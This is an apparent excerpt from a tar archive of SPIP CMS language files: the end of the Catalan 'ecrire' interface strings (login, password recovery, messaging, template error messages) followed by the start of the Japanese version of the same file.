'info_multi_herit' => 'Idioma per defecte',
'info_multi_langues_soulignees' => 'Les <u>llengües subratllades</u> es beneficien d’una traducció de tots els textos de la interfície. Si seleccioneu aquestes llengües, molts elements del lloc públic (dates, formularis) es traduiran automàticament. En les llengües no subratllades, aquests elements es mostraran en la llengua principal del lloc.', # MODIF
'info_multilinguisme' => 'Multilingüisme',
'info_nom_non_utilisateurs_connectes' => 'El vostre nom no apareix a la llista d’usuaris/àries connectats/des.',
'info_nom_utilisateurs_connectes' => 'El vostre nom apareix a la llista dels usuaris connectats.',
'info_nombre_en_ligne' => 'Actualment en línia:',
'info_non_resultat' => 'Cap resultat per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'No feu servir la missatgeria interna d’aquest lloc.',
'info_nouveau_message' => 'TENIU UN NOU MISSATGE',
'info_nouveaux_messages' => 'TENIU @total_messages@ NOUS MISSATGES',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Aquesta informació és obligatòria',
'info_pense_bete' => 'RECORDATORI',
'info_petit_ecran' => 'Pantalla petita',
'info_petition_close' => 'Petició tancada',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'S’ha trobat diverses paraules clau per "@cherche_mot@":',
'info_portfolio_automatique' => 'Carpeta automàtica:',
'info_premier_resultat' => '[@debut_limit@ primers resultats sobre @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primers resultats sobre @total@]',
'info_propose_1' => '[@nom_site_spip@] Proposa: @titre@',
'info_propose_2' => 'Article proposat
----------------',
'info_propose_3' => 'L’article "@titre@" està proposat per a ser publicat.',
'info_propose_4' => 'Esteu convidats a consultar-lo i a donar la vostra opinió',
'info_propose_5' => 'al fòrum que hi enllaça. El trobareu disponible a l’adreça:',
'info_publie_01' => 'L’article "@titre@" ha estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICAT: @titre@',
'info_publie_2' => 'Article publicat
----------------',
'info_rechercher' => 'Cercar',
'info_rechercher_02' => 'Cercar:',
'info_remplacer_vignette' => 'Substituir la icona per defecte per un logotip personalitzat:',
'info_rubriques_nb' => '@nb@ seccions',
'info_rubriques_un' => '1 secció',
'info_sans_titre_2' => 'sense títol',
'info_selectionner_fichier' => 'Podeu seleccionar un fitxer de la carpeta @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un fitxer:',
'info_sites_nb' => '@nb@ llocs',
'info_sites_un' => '1 lloc',
'info_supprimer_vignette' => 'suprimir la icona',
'info_symbole_bleu' => 'El símbol <b>blau</b> indica un <b>recordatori</b>: és a dir un missatge per a ús personal.',
'info_symbole_jaune' => 'El símbol <b>groc</b> indica un <b>avís a tots els redactors</b> : modificable per tots els administradors i visible per tots els redactors.',
'info_symbole_vert' => 'El símbol <b>vert</b> indica els <b>missatges intercanviats amb altres usuaris</b> del lloc Web.',
'info_telecharger_nouveau_logo' => 'Carregar un nou logotip:',
'info_telecharger_ordinateur' => 'Carregar des del vostre ordinador:',
'info_tous_resultats_enregistres' => '[tots els resultats són registrats]',
'info_tout_afficher' => 'Mostrar-ho tot',
'info_travaux_texte' => 'Aquest lloc encara no està configurat. Torneu més endavant...',
'info_travaux_titre' => 'Lloc en construcció',
'info_trop_resultat' => 'Massa resultats per "@cherche_mot@"; si voleu afinar la cerca.',
'info_utilisation_messagerie_interne' => 'Utilitzeu la missatgeria interna d’aquest lloc.',
'info_valider_lien' => 'validar aquest enllaç',
'info_verifier_image' => ', voleu verificar que les vostres imatges han estat transferides correctament.',
'info_vignette_defaut' => 'Icona per defecte',
'info_vignette_personnalisee' => 'Icona personalitzada',
'info_visite' => 'visita:',
'info_vos_rendez_vous' => 'Les vostres cites',
'infos_vos_pense_bete' => 'Els vostres recordatoris',
// L
'label_ajout_id_rapide' => 'Afegit ràpid',
'label_poids_fichier' => 'Mida',
'lien_afficher_icones_seuls' => 'Mostrar només les icones',
'lien_afficher_texte_icones' => 'Mostrar les icones i el text',
'lien_afficher_texte_seul' => 'Mostrar només el text',
'lien_liberer' => 'alliberar',
'lien_liberer_tous' => 'alliberar aquests articles',
'lien_nouvea_pense_bete' => 'NOU RECORDATORI',
'lien_nouveau_message' => 'NOU MISSATGE',
'lien_nouvelle_annonce' => 'NOU ANUNCI',
'lien_petitions' => 'PETICIÓ',
'lien_popularite' => 'popularitat: @popularite@%',
'lien_racine_site' => 'ARREL DEL LLOC',
'lien_reessayer' => 'Reintentar',
'lien_repondre_message' => 'Respondre a aquest missatge',
'lien_supprimer' => 'suprimir',
'lien_tout_afficher' => 'Mostrar-ho tot',
'lien_visite_site' => 'visitar aquest lloc',
'lien_visites' => '@visites@ visites',
'lien_voir_auteur' => 'Veure aquest autor',
'ligne' => 'Línia',
'login' => 'Connexió',
'login_acces_prive' => 'accés a l’espai privat',
'login_autre_identifiant' => 'connectar-se amb un altre nom d’usuari/ària',
'login_cookie_accepte' => 'Configura el teu navegador perquè les accepti (al menys per aquest lloc).',
'login_cookie_oblige' => 'Per identificar-vos d’una manera segura en aquest lloc, heu d’acceptar les galetes.',
'login_deconnexion_ok' => 'Desconnexió efectuada.',
'login_erreur_pass' => 'Error de contrasenya.',
'login_espace_prive' => 'espai privat',
'login_identifiant_inconnu' => 'L’usuari « @login@ » és desconegut',
'login_login' => 'Login:',
'login_login2' => 'Login (identificador de connexió) o adreça de correu electrònic:',
'login_login_pass_incorrect' => '(Login ou contrasenya incorretecte.)',
'login_motpasseoublie' => 'contrasenya oblidada?',
'login_non_securise' => 'Atenció, aquest formulari no és segur. Si no voleu que la vostra contrasenya pugui ser interceptada a la xarxa, activeu Javascript al vostre navegador i ',
'login_nouvelle_tentative' => 'Nou intent',
'login_par_ici' => 'Esteu registrats... per aquí...',
'login_pass2' => 'Contrasenya:',
'login_preferez_refuser' => '<b>Si preferiu refusar les galetes</b>, un altre mètode de connexió (menys segur) és a la vostra disposició :',
'login_recharger' => 'actualitzar aquesta pàgina',
'login_rester_identifie' => 'Continuar identificat alguns dies',
'login_retour_public' => 'Tornar al lloc públic',
'login_retour_site' => 'Tornar al lloc públic',
'login_retoursitepublic' => 'tornar al lloc públic',
'login_sans_cookiie' => 'Identificació sense galeta',
'login_securise' => 'Inici de sessió segur',
'login_sinscrire' => 'inscriure’s',
'login_test_navigateur' => 'prova de navegador/tornar a connectar',
'login_verifiez_navigateur' => '(Verifiqueu no obstant que el vostre navegador no ha memoritzat la contrasenya...)',
// M
'masquer_colonne' => 'Ocultar aquesta columna',
'masquer_trad' => 'amagar les traduccions',
'module_fichiers_langues' => 'Fitxers de llengua',
// N
'navigateur_pas_redirige' => 'Si el vostre navegador no és redirigit, cliqueu aquí per continuar.',
'numero' => 'Número',
// O
'occurence' => 'Instància',
'onglet_affacer_base' => 'Suprimir la base de dades',
'onglet_auteur' => 'L’autor/a',
'onglet_contenu_site' => 'Contingut del lloc',
'onglet_evolution_visite_mod' => 'Evolució',
'onglet_fonctions_avances' => 'Funcions avançades',
'onglet_informations_personnelles' => 'Informacions personals',
'onglet_interactivite' => 'Interactivitat',
'onglet_messagerie' => 'Missatgeria',
'onglet_repartition_rubrique' => 'Distribució per seccions',
'onglet_save_restaur_base' => 'Còpia de seguretat/restaurar base de dades',
'onglet_vider_cache' => 'Buidar la memòria cau',
// P
'pass_choix_pass' => 'Escolliu la vostra nova contrasenya:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error:</b> ja no teniu accés en aquest lloc.',
'pass_erreur_code_inconnu' => '<b>Error:</b> aquest codi no correspon a cap dels visitants que tenen accés a aquest lloc.',
'pass_erreur_non_enregistre' => '<b>Error:</b> l’adreça <tt>@email_oubli@</tt> no està registrada en aquest lloc.',
'pass_erreur_non_valide' => '<b>Error:</b> aquest correu electrònic <tt>@email_oubli@</tt> no és vàlid!',
'pass_erreur_probleme_technique' => '<b>Error:</b> per culpa d’un problema tècnic, el correu electrònic no s’ha pogut enviar.',
'pass_espace_prive_bla' => 'L’espai privat d’aquest lloc està obert als visitants, un cop s’han inscrit. Una vegada registrats, podeu consultar els articles en procés de redacció, proposar articles i participar en tots els fòrums. ',
'pass_forum_bla' => 'Heu demanat d’intervenir en un fòrum reservat als visitants registrats.',
'pass_indiquez_cidessous' => 'Indiqueu a sota l’adreça electrònica amb la que us heu registrat anteriorment. Rebreu un correu electrònic indicant-vos els passos a seguir per recuperar el vostre accés. ',
'pass_mail_passcookie' => '(aquest és un missatge automàtic)
Per recuperar el vostre accés al lloc
@nom_site_spip@ (@adresse_site@)
Aneu a l’adreça següent:
@sendcookie@
Llavors podreu entrar una nova contrasenya
i tornar-vos a connectar al lloc.
',
'pass_mot_oublie' => 'Contrasenya oblidada',
'pass_nouveau_enregistre' => 'La vostra nova contrasenya ha estat registrada.',
'pass_nouveau_pass' => 'Nova contrasenya',
'pass_ok' => 'D’acord',
'pass_oubli_mot' => 'Oblit de la contrasenya',
'pass_procedure_changer' => 'Per canviar la contrasenya, hem de verificar primerament la vostra identitat. Per això, indiqueu-nos el correu electrònic associat al vostre compte.',
'pass_quitter_fenetre' => 'Tancar aquesta finestra',
'pass_rappel_login' => 'Recordatori: la vostra identificació (usuari) és " @login@".',
'pass_recevoir_mail' => 'Voleu rebre un correu electrònic indicant com recuperar l’accés al lloc.',
'pass_retour_public' => 'Tornar al lloc públic',
'pass_rien_a_faire_ici' => 'Res a fer aquí.',
'pass_vousinscrire' => 'Incriure’s a aquesta web',
'precedent' => 'anterior',
'previsualisation' => 'Previsualització',
'previsualiser' => 'Visualització prèvia',
// R
'retour' => 'Retorn',
// S
'spip_conforme_dtd' => 'SPIP considera aquest document conforme al seu DOCTYPE :',
'squelette' => 'esquelet',
'squelette_inclus_ligne' => 'esquelet inclòs, línia',
'squelette_ligne' => 'esquelet, línia',
'stats_visites_et_popularite' => '@visites@ visites; popularitat: @popularite@',
'suivant' => 'següent',
// T
'taille_ko' => '@taille@ kB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Quan estareu familiaritzats amb la interfície, podreu clicar a «',
'texte_actualite_site_2' => 'interfície completa',
'texte_actualite_site_3' => '" per obrir més possibilitats.',
'texte_creation_automatique_vignette' => 'La creació automàtica d’icones de previsualització està activada amb els formats @gd_formats@, estaran acompanyades d’una icona com a màxim de @taille_preview@ pixels.',
'texte_documents_associes' => 'Els documents següents estan associats a l’article, però no han estat directament inclosos. Segons la compaginació del lloc públic, es podran mostrar com a documents adjunts.',
'texte_erreur_mise_niveau_base' => 'Error de la base de dades durant la seva actualització.
La imatge <b>@fichier@</b> no ha passat (article @id_article@).
Anoteu aquesta referència, proveu altre cop
l’actualització i, finalment, verifiqueu que les imatges
apareixen sempre als articles.',
'texte_erreur_visiteur' => 'Heu intentat accedir a l’espai privat amb un login que no li permet.',
'texte_inc_auth_1' => 'Us heu identificat amb el nom d’usuari <b>@auth_login@</b>, però aquest no existeix/ja no existeix a la base de dades.
Proveu de ',
'texte_inc_auth_2' => 'reconnectar',
'texte_inc_auth_3' => ', després de tancar i tornar a arrencar el vostre ordinador.',
'texte_inc_config' => 'Les modificacions efectuades en aquestes pàgines influeixen notablement en el
funcionament del vostre lloc Web. Us recomanem no tocar res fins que no estigueu familiaritzats amb el funcionament del sistema SPIP. <br /><br /><b> En general
, es molt aconsellable
deixar la càrrega d’aquestes pàgines al webmestre principal del vostre lloc Web.</b>',
'texte_inc_meta_1' => 'El sistema ha trobat un error durant l’escriptura del fitxer <code>@fichier@</code>.Si us plau, ja que sou l’administrador/a del lloc web,',
'texte_inc_meta_2' => 'verifiqueu els drets d’escriptura',
'texte_inc_meta_3' => 'del directori <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en curs de redacció',
'texte_statut_poubelle' => 'a la paperera',
'texte_statut_propose_evaluation' => 'proposat per a l’avaluació',
'texte_statut_publie' => 'publicat en línia',
'texte_statut_refuse' => 'refusat',
'titre_ajouter_mot_cle' => 'AFEGIR UNA PARAULA CLAU:',
'titre_cadre_raccourcis' => 'DRECERES',
'titre_changer_couleur_interface' => 'Canviar el color de l’interficie',
'titre_image_admin_article' => 'Vosté pot administrar aquest article',
'titre_image_administrateur' => 'Administrador/a',
'titre_image_aide' => 'De l’ajuda sobre aquest element',
'titre_image_auteur_supprime' => 'Autor/a suprimit/da',
'titre_image_redacteur' => 'Redactor/a sense accés',
'titre_image_redacteur_02' => 'Redactor/a',
'titre_image_visiteur' => 'Visitant',
'titre_joindre_document' => 'INTRODUIR UN DOCUMENT',
'titre_mots_cles' => 'PARAULES CLAU',
'titre_probleme_technique' => 'Atenció: un problema tècnic (servidor SQL) impedeix l’accés a aquesta part de la Web. Gràcies per la vostra comprensió.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENT DINS D’AQUESTA SECCIÓ',
'titre_signatures_attente' => 'Signatures esperant ser validades',
'titre_signatures_confirmees' => 'Signatures confirmades',
'titre_statistiques' => 'Estadistiques de la pàgina',
'titre_titre_document' => 'Títol del document:',
'todo' => 'pròximament ',
'trad_reference' => '(article de referència)',
// Z
'zbug_balise_b_aval' => ' : l’etiqueta B ha d’anar abans',
'zbug_balise_inexistante' => 'etiqueta @balise@ mal declarada per a @from@ ',
'zbug_balise_sans_argument' => 'Argument que falta a l’etiqueta @balise@',
'zbug_boucle' => 'bucle',
'zbug_boucle_recursive_undef' => 'Bucle recurrent no definit: @nom@',
'zbug_calcul' => 'càlcul',
'zbug_champ_hors_boucle' => 'Camp @champ@ fora de bucle',
'zbug_champ_hors_motif' => 'Camp @champ@ fora d’un context @motif@',
'zbug_code' => 'codi',
'zbug_critere_inconnu' => 'Criteri desconegut @critere@',
'zbug_distant_interdit' => 'Prohibit amb dades externes',
'zbug_doublon_table_sans_cle_primaire' => 'Doublons en una taula sense clau primària atòmica',
'zbug_doublon_table_sans_index' => 'Doublons em una taula sense índex',
'zbug_erreur_boucle_double' => 'Doble definició del bucle @id@ ',
'zbug_erreur_boucle_fermant' => 'Bucle @id@ no tancat',
'zbug_erreur_boucle_syntaxe' => 'Sintaxi incorrecte del bucle @id@',
'zbug_erreur_compilation' => 'Error de compilació',
'zbug_erreur_execution_page' => 'Error d’execució',
'zbug_erreur_filtre' => 'Filtre @filtre@ no definit',
'zbug_erreur_meme_parent' => 'El criteri {meme_parent} només s’aplica als bucles (FORUMS) o (RUBRIQUES)',
'zbug_erreur_squelette' => 'Error(s) en l’esquelet',
'zbug_hors_compilation' => 'Sense Compilació',
'zbug_info_erreur_squelette' => 'Error en el lloc Web',
'zbug_inversion_ordre_inexistant' => 'Inversió d’un ordre inexistent',
'zbug_pagination_sans_critere' => 'Etiqueta #PAGINATION sense criteri {paginació} o fet servir a dins d’un bucle recursiu.',
'zbug_parametres_inclus_incorrects' => 'Paràmetre d’inclusió incorrecte: @param@',
'zbug_profile' => 'Temps de càlcul : @time@',
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'Servidor SQL sense definir',
'zbug_statistiques' => 'Estadístiques de peticions SQL classificades per durada',
'zbug_table_inconnue' => 'Taula SQL « @table@ » desconeguda',
'zxml_connus_attributs' => 'atributs conneguts',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atribut desconegut',
'zxml_inconnu_balise' => 'etiqueta desconeguda',
'zxml_inconnu_entite' => 'entitat desconeguda',
'zxml_inconnu_id' => 'ID desconegut',
'zxml_mais_de' => 'però de',
'zxml_non_conforme' => 'no conforme al motiu',
'zxml_non_fils' => 'no és un fill de',
'zxml_nonvide_balise' => 'etiqueta no buida',
'zxml_obligatoire_attribut' => 'atribut obligatori però absent a dins de',
'zxml_succession_fils_incorrecte' => 'herència de fills incorrecte',
'zxml_survoler' => 'passar el ratolí per sobre per veure els correctes',
'zxml_valeur_attribut' => 'valor de l’atribut',
'zxml_vide_balise' => 'etiqueta buida',
'zxml_vu' => 'vist abans'
);
?>
ecrire_ja.php 0000666 00000170153 15252547432 0007224 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ja
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'プラグインを作動します',
'aide_non_disponible' => '現在の言語の設定では、このオンラインヘルプはまだご利用になれません。',
'auteur' => '著者:',
'avis_acces_interdit' => 'アクセス権がありません',
'avis_article_modifie' => 'ご注意ください。 @nom_auteur_modif@ が@date_diff@分前にこの記事について作業を行いました。',
'avis_aucun_resultat' => '一致するデータがありませんでした。',
'avis_chemin_invalide_1' => '選択されたファイルパス',
'avis_chemin_invalide_2' => 'が無効です。前のページに戻って、与えられた情報を確認してください。',
'avis_connexion_echec_1' => 'SQLサーバーへの接続に失敗しました。', # MODIF
'avis_connexion_echec_2' => '前のページに戻って、与えられている情報を確認してください。',
'avis_connexion_echec_3' => '<b>注意</b> 多くのサーバー上では、それを利用できるためには事前に自分が, SQLにアクセスできるよう<b>リクエストを行う</b>必要があります。 もし接続できない場合、現在このリクエストが行われているかどうかを確認してください。', # MODIF
'avis_connexion_ldap_echec_1' => 'LDAPサーバへの接続に失敗しました。',
'avis_connexion_ldap_echec_2' => '前のページに戻って、与えられている情報を確認してください。',
'avis_connexion_ldap_echec_3' => '交代でLDAPサポートをユーザのインポートのために利用しないでください。',
'avis_deplacement_rubrique' => '注意！ この項目は、 @contient_breves@ 件のニュースを含んでいます: それを移動する場合は、確認のためこのボックスにチェックを入れてください。',
'avis_destinataire_obligatoire' => 'メッセージを送信するには、受取人を選択してください。',
'avis_erreur_connexion_mysql' => 'SQL接続のエラーです。',
'avis_erreur_version_archive' => '<b>注意！ @archive@ ファイルは
あなたのお手元のSPIPとは異なるバージョンのSPIPに対応するものです。</b>このままですと、データベースの破壊や
いくつかのサイトに関する機能不全といった
深刻な問題に行き当たることになります。
このインポートはリクエストしないでください。<p>詳細は、
<a href="@spipnet@">
SPIPドキュメント</a>をご覧ください。</p>', # MODIF
'avis_espace_interdit' => '<b>許されないエリア</b><p>SPIPが既にインストールされています。',
'avis_lecture_noms_bases_1' => 'インストールプログラムは、インストールされたデータベースの名前を読むことが出来ませんでした。',
'avis_lecture_noms_bases_2' => 'ベースが有効でないか、ベースリストを許可する機能がアクティブではありませんでした。
これはセキュリティ上の理由によります（多くのホスティングによくみられるものです）。',
'avis_lecture_noms_bases_3' => '二つ目の選択において、あなたのログイン名を含むデータベースが利用可能なようです :',
'avis_non_acces_message' => 'このメッセージにはアクセスしていません。',
'avis_non_acces_page' => 'このページにはアクセスしていません。',
'avis_operation_echec' => '操作に失敗しました。',
'avis_probleme_archive' => '@archive@ ファイルの読み込みに問題があります。',
'avis_suppression_base' => '注意！データ消去します。復旧出来ません。',
'avis_version_mysql' => 'あなたのSQLのバージョン （@version_mysql@） は、データベーステーブルの自動修復が不可能です。',
// B
'bouton_acces_ldap' => 'LDAPへのアクセスを追加 >>',
'bouton_ajouter' => '追加する',
'bouton_ajouter_participant' => '関係するものを追加:',
'bouton_annonce' => 'アナウンス',
'bouton_checkbox_envoi_message' => 'メッセージが送れるようにする',
'bouton_checkbox_indiquer_site' => 'ウェブサイトを必須入力にする',
'bouton_checkbox_signature_unique_email' => 'メールアドレス１つにつき、１署名まで',
'bouton_checkbox_signature_unique_site' => 'ウェブサイト１つにつき、１署名まで',
'bouton_demande_publication' => 'この記事の公開を要求する',
'bouton_desactive_tout' => 'すべて無効',
'bouton_effacer_index' => 'インデックスの削除',
'bouton_effacer_tout' => 'すべての削除',
'bouton_envoi_message_02' => 'メッセージを送る',
'bouton_envoyer_message' => '最後のメッセージ: 送る',
'bouton_modifier' => '修正',
'bouton_pense_bete' => '個人的なメモ',
'bouton_radio_activer_messagerie' => '内部でのメッセージ交換を可能にする',
'bouton_radio_activer_messagerie_interne' => '内部でのメッセージ交換を可能にする',
'bouton_radio_activer_petition' => '署名機能を使う',
'bouton_radio_afficher' => '表示',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => '接続中に接続中エディターのリストに表示',
'bouton_radio_desactiver_messagerie' => 'メッセージ交換を不能にする',
'bouton_radio_envoi_annonces_adresse' => 'アナウンスを送信するアドレス:',
'bouton_radio_envoi_liste_nouveautes' => '最新のニュースリストを送る',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => '接続中のエディターズのリストに表示しない',
'bouton_radio_non_envoi_annonces_editoriales' => '編集の発表を送らない',
'bouton_radio_pas_petition' => '署名機能なし',
'bouton_radio_petition_activee' => '署名機能を使用中',
'bouton_radio_supprimer_petition' => '署名機能を無効にする',
'bouton_redirection' => 'リダイレクト',
'bouton_relancer_installation' => 'インストレーションを再起動',
'bouton_suivant' => '次',
'bouton_tenter_recuperation' => '修復を試みる',
'bouton_test_proxy' => 'プロキシーをテスト',
'bouton_vider_cache' => 'システムキャッシュを空にする',
'bouton_voir_message' => '承認前にメッセージを再度表示する',
// C
'cache_mode_compresse' => 'キャッシュファイルは圧縮して保存されました。',
'cache_mode_non_compresse' => 'キャッシュファイルは未圧縮で保存されました。',
'cache_modifiable_webmestre' => 'これらのパラメータはwebmasterによって修正できます。',
'calendrier_synchro' => '<b>iCal</b>と互換性のある日記アプリケーションを使っているなら、それとこのサイトの情報を同調（シンクロ）することが出来ます。',
// D
'date_mot_heures' => '時',
// E
'email' => 'メール',
'email_2' => 'メール：',
'entree_adresse_annuaire' => 'ディレクトリのアドレス',
'entree_adresse_email' => 'メールアドレス',
'entree_base_donnee_1' => 'データベースアドレス',
'entree_base_donnee_2' => '(よく、このアドレスはあなたのサイトのアドレスと同じで、時々«localhost»の時もあり、完全に空のままの時もあります。)',
'entree_biographie' => 'あなたの略記を数行でお願いします。',
'entree_chemin_acces' => 'パスを<b>入力</b>:',
'entree_cle_pgp' => 'あなたのPGPキー',
'entree_contenu_rubrique' => '（セクションの内容を短い言葉で。）',
'entree_identifiants_connexion' => 'あなたの接続ID...',
'entree_informations_connexion_ldap' => 'LDAP接続の情報をこのフォームに書き込んでください。あなたはあなたのシステムまたは、ネットワーク管理者によってこの情報を提供されるでしょう。',
'entree_infos_perso' => 'あなたは誰？',
'entree_interieur_rubrique' => 'セクションの中に：',
'entree_liens_sites' => '<b>ハイパーリンク</b>（訪問サイトの参照...）',
'entree_login' => 'あなたのログインID',
'entree_login_connexion_1' => '接続するログインID',
'entree_login_connexion_2' => '(あなたのFTP用のログインIDと同じときもあれば空欄のときもあります)',
'entree_login_ldap' => '最初のLDAPのログインID',
'entree_mot_passe' => 'パスワード',
'entree_mot_passe_1' => '接続パスワード',
'entree_mot_passe_2' => '(あなたのFTP用のパスワードと同じときもあれば空欄のときもあります)',
'entree_nom_fichier' => 'ファイル名を打ち込んでください @texte_compresse@:',
'entree_nom_pseudo' => 'あなたの名前か仮名',
'entree_nom_pseudo_1' => '（あなたの名前か仮名）',
'entree_nom_site' => 'あなたのウェブサイトの名前',
'entree_nouveau_passe' => '新しいパスワード',
'entree_passe_ldap' => 'パスワード',
'entree_port_annuaire' => 'ディレクトリのポートナンバー',
'entree_signature' => '署名',
'entree_titre_obligatoire' => '<b>タイトル</b> [必須]<br />',
'entree_url' => 'あなたのサイトのURL',
'erreur_plugin_fichier_absent' => 'ファイルが見つかりません',
// I
'ical_info1' => 'このページは、このサイトでの活動であなたとの連絡を保ついくつかの手段を提供します。',
'ical_info2' => 'さらに情報が欲しい場合、躊躇せずに、<a href="@spipnet@">SPIP’sドキュメント</a>を訪れてください。', # MODIF
'ical_info_calendrier' => 'あなたは２種類のカレンダーが自由に使えます。１つめはすべての公開された記事を示すサイトマップです。２つめは編集中のアナウンスに加え、あなたの最新のプライベートメッセージも含んでいます: URL中に含まれる個人のキーはあなたの為に確保してあり、あなたのパスワードを新しくすることでいつでも変更することができます。',
'ical_methode_http' => 'ダウンロードする',
'ical_methode_webcal' => '同調（シンクロ）する (webcal://)',
'ical_texte_js' => 'このサイトで出版された最新記事を、あなたの管理しているどんなサイトでもとても簡単に、たった１行のjavascriptで表示することが出来ます。',
'ical_texte_prive' => 'このカレンダーは完全に個人用で、このサイトのあなたのプライベートの編集活動を知らせます（仕事、個人的な約束、提出された記事とニュース...）。',
'ical_texte_public' => 'このカレンダーは、あなたがこのサイト（公開された記事とニュース）のパブリックな活動を理解するのを手伝います。',
'ical_texte_rss' => 'あなたはこのサイトの最新のニュースを、XML/RSS (Rich Site Summary) リーダーによって取得することが出来ます。これはまた、互換性あるフォーマットでやり取り（サイトを配信）をする別のサイトで、SPIPで発表された最新のニュースを、読めるようにするフォーマットです。',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'メーリングリスト',
'ical_titre_rss' => 'Backendファイル',
'icone_activer_cookie' => 'クッキーを置く',
'icone_afficher_auteurs' => '著者を表示',
'icone_afficher_visiteurs' => '訪問者を表示',
'icone_arret_discussion' => 'このディスカッションに参加するのをやめる',
'icone_calendrier' => 'カレンダー',
'icone_creer_auteur' => '新しい著者を作って、彼をこの記事に参加させる。',
'icone_creer_mot_cle' => '新しいキーワードと、この記事へのリンクを作る',
'icone_creer_rubrique_2' => '新しいセクションを作る',
'icone_envoyer_message' => 'このメッセージを送る',
'icone_modifier_article' => 'この記事を修正',
'icone_modifier_message' => 'このメッセージを修正',
'icone_modifier_rubrique' => 'このセクションを修正',
'icone_retour' => '戻る',
'icone_retour_article' => '記事に戻る',
'icone_supprimer_cookie' => 'クッキーの削除',
'icone_supprimer_rubrique' => 'このセクションを削除',
'icone_supprimer_signature' => 'この署名を削除',
'icone_valider_signature' => 'この署名を確認',
'image_administrer_rubrique' => 'あなたはこのセクションを管理することができる',
'info_1_article' => '１記事',
'info_1_site' => '1 サイト',
'info_activer_cookie' => '<b>管理者用クッキー</b>を使うことが出来ます。 それによって
パブリックなサイトとプライベートエリアの切替が簡単に出来ます。',
'info_admin_gere_rubriques' => 'この管理者は下記のセクションを管理:',
'info_admin_gere_toutes_rubriques' => 'この管理者は<b>すべてのセクション</b>を管理。', # MODIF
'info_administrateur' => '管理者',
'info_administrateur_1' => '管理者',
'info_administrateur_2' => 'サイトについて（<i>注意して使って</i>）',
'info_administrateur_site_01' => 'もしサイトの管理者ならば',
'info_administrateur_site_02' => 'このリンクをクリック',
'info_administrateurs' => '管理者',
'info_administrer_rubrique' => 'あなたはこのセクションを管理することができる',
'info_adresse' => 'そのアドレスへ:',
'info_adresse_url' => 'あなたの公開サイトのURL',
'info_afficher_visites' => '訪問者の表示:',
'info_aide_en_ligne' => 'SPIPオンラインヘルプ',
'info_ajout_image' => '記事に添付書類として画像イメージを付け加えるとき、
SPIPは自動的にヴィニェット＜半身像・ロゴなど＞（サムネイル）を
挿入された画像から作成します。 これにより例えば
ギャラリーやポートフォリオの自動作成を可能にします。',
'info_ajout_participant' => '次の関係者は加えられた:',
'info_ajouter_rubrique' => '管理する他のセクションを追加:',
'info_annonce_nouveautes' => '最新のニュースアナウンス',
'info_anterieur' => '前候補',
'info_article' => '記事',
'info_article_2' => '記事',
'info_article_a_paraitre' => '公開されている記事の投稿日付',
'info_articles_02' => '記事',
'info_articles_2' => '記事',
'info_articles_auteur' => 'この著者の記事',
'info_articles_trouves' => '記事が見つかりました',
'info_articles_trouves_dans_texte' => '記事が見つかりました（文中）',
'info_attente_validation' => '適性検査前のあなたの記事',
'info_aujourdhui' => '今日：',
'info_auteur_message' => '差出人:',
'info_auteurs' => '著者たち',
'info_auteurs_par_tri' => '著者@partri@',
'info_auteurs_trouves' => '見つかった著者たち',
'info_authentification_externe' => '外部の認証',
'info_avertissement' => '警告',
'info_base_installee' => 'あなたのデータベースの中に構造物がインストールされました。',
'info_chapeau' => '飾り',
'info_chapeau_2' => 'イントロダクション:',
'info_chemin_acces_1' => 'オプション: <b>ディレクトリのアクセス・パス</b>',
'info_chemin_acces_2' => 'ここから先では、ディレクトリの情報にアクセス・パスを設定する必要があります。この情報はディレクトリに保存されているユーザプロファイルを読むために必須です。',
'info_chemin_acces_annuaire' => 'オプション : <b>ディレクトリのアクセス・パス',
'info_choix_base' => '３番目のステップ:',
'info_classement_1' => ' @liste@ の外',
'info_classement_2' => ' @liste@ 外',
'info_code_acces' => 'あなたの所有するアクセスコードを忘れないで下さい！',
'info_config_suivi' => 'もしもこのアドレスがメーリングリストのものと一致する場合、サイト参加者が登録可能なアドレスを下記に表示することができます。記すべきアドレスは、URL（例えばWeb経由の登録ページなど）、サブジェクトを特定してあるメールアドレス (たとえば: <tt>@adresse_suivi@?subject=subscribe</tt>)がいいでしょう。',
'info_config_suivi_explication' => 'あなたはこのサイトに関するメーリングリストに加入することが出来ます。あなたは自動送信メールによって、公表するために提出された記事、ニュースに関するアナウンスを受け取るでしょう。(訳注：フランス語？だらけ）',
'info_confirmer_passe' => '新しいパスワードの確認:',
'info_connexion_base' => '２番目のステップ: <b>データベースと接続を試みる</b>',
'info_connexion_ldap_ok' => 'LDAP接続に成功しました。</b><p> 次の段階に進んでください。</p>', # MODIF
'info_connexion_mysql' => '最初のステップ: <b>あなたのSQLと接続</b>',
'info_connexion_ok' => '接続が成功しました。',
'info_contact' => '連絡方法',
'info_contenu_articles' => '記事の内容',
'info_creation_paragraphe' => '(パラグラフ＜段落・文節＞を作るには、空行をおけばいいだけです。)', # MODIF
'info_creation_rubrique' => '記事を書けるようになる前に、<br />最低１つのセクションを作成する必要があります。<br />',
'info_creation_tables' => '４番目のステップ: <b>データベースのテーブルの作成</b>',
'info_creer_base' => '新しいデータベースを<b>作成</b>:',
'info_dans_rubrique' => 'セクション内:',
'info_date_publication_anterieure' => '公表時の日付:',
'info_date_referencement' => 'このサイトを参照した日付 :',
'info_derniere_etape' => '最後のステップ: <b>終わりました！',
